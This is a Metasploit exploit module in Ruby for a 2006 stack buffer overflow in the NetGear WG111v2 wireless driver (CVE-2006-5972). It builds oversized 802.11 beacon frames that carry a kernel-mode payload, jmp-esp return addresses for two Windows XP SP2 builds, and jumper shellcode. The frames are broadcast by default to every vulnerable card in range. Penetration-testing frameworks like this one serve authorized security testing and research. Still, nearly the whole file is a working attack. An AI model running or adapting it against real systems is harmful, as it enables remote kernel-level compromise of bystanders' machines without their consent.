metasploit-framework/modules/exploits/windows/driver/netgear_wg111_beacon.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::Lorcon2
  include Msf::Exploit::KernelMode

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the NetGear WG111v2 wireless
        device driver. This stack buffer overflow allows remote code execution in kernel mode.
        The stack buffer overflow is triggered when a 802.11 Beacon frame is received that
        contains more than 1100 bytes worth of information elements.

        This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
        a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
        all cards within range of the attack will be affected. The tested adapter used
        a MAC address in the range of 00:18:4d:02:XX:XX.

        Vulnerable clients will need to have their card in a non-associated state
        for this exploit to work. The easiest way to reproduce this bug is by starting
        the exploit and then unplugging and reinserting the USB card. The exploit can
        take up to a minute to execute the payload, depending on system activity.

        NetGear was NOT contacted about this flaw. A search of the SecurityFocus
        database indicates that NetGear has not provided an official patch or
        solution for any of the thirty flaws listed at the time of writing. This list
        includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
        7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
        16835, 19468, and 19973.

        This module depends on the Lorcon2 library and only works on the Linux platform
        with a supported wireless card. Please see the Ruby Lorcon2 documentation
        (external/ruby-lorcon/README) for more information.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-5972'],
          ['OSVDB', '30473'],
          ['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
        ],
      'Privileged'     => true,

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          # Its a beautiful day in the neighborhood...
          'Space'  => 1000,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Windows XP SP2 with the latest updates
          # 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
          [ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
            {
              'Ret'      => 0x80502d7f, # jmp esp
              'Platform' => 'win',
              'Payload'  =>
              {
                'ExtendedOptions' =>
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dbb27,
                }
              }
            }
          ],

          # Windows XP SP2 install media, no patches
          # 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
          [ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
            {
              'Ret'      => 0x804ed5cb, # jmp esp
              'Platform' => 'win',
              'Payload'  =>
              {
                'ExtendedOptions' =>
                {
                  'Stager'       => 'sud_syscall_hook',
                  'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dc0c7,
                }
              }
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 16 2006'))

    register_options(
      [
        OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
        OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
      ], self.class)
  end

  def exploit
    open_wifi

    stime = Time.now.to_i
    rtime = datastore['RUNTIME'].to_i
    count = 0

    print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
    while (stime + rtime > Time.now.to_i)
      wifi.write(create_beacon)
      select(nil, nil, nil, 0.10) if (count % 100 == 0)

      count += 1

      # Exit if we get a session
      break if session_created?
    end

    print_status("Completed sending beacons.")
  end

  # Convert arbitrary data into a series of information elements
  def ie_padding(data)
    ret = 0
    idx = 0
    len = 0

    while(idx < data.length)
      len = data[idx+1]
      if (! len)
        data << "\x00"
        len = 0
      end

      idx += len + 2
    end

    data << yield(idx - data.length)
  end

  def create_beacon

    ssid   = rand_text_alphanumeric(16)
    bssid  = ("\x00" * 2) + rand_text(4)
    src    = ("\x00" * 2) + rand_text(4)
    seq    = [rand(255)].pack('n')
    stamp  = rand_text(8)

    frame =
      "\x80" +                      # type/subtype
      "\x00" +                      # flags
      "\x00\x00" +                  # duration
      eton(datastore['ADDR_DST']) + # dst
      src +                         # src
      bssid +                       # bssid
      seq   +                       # seq
      stamp +                       # timestamp value
      "\x64\x00" +                  # beacon interval
      rand_text(2) +      # capability flags

      # ssid tag
      "\x00" + ssid.length.chr + ssid +

      # supported rates
      "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

      # current channel
      "\x03" + "\x01" + channel.chr

    # Bounce through EDI to the uncorrupted payload
    jumper =
      "\x6a\x39" + # push byte +0x39
      "\x58"     + # pop eax
      "\x01\xc7" + # add edi, eax
      "\xff\xe7"   # jmp edi

    # Overwrite enough to pop the return
    buf = rand_text(1160)

    # Kernel-mode stager fun goes here
    buf[0, payload.encoded.length] = payload.encoded

    # Return address is a jmp ESP
    buf[1101, 4] = [ target.ret ].pack('V')

    # Jump back to EDI + 0x39
    buf[1113, jumper.length] = jumper

    # Pad it out to be a valid set of IEs
    frame << ie_padding(buf) {|c| rand_text(c) }

    return frame
  end

end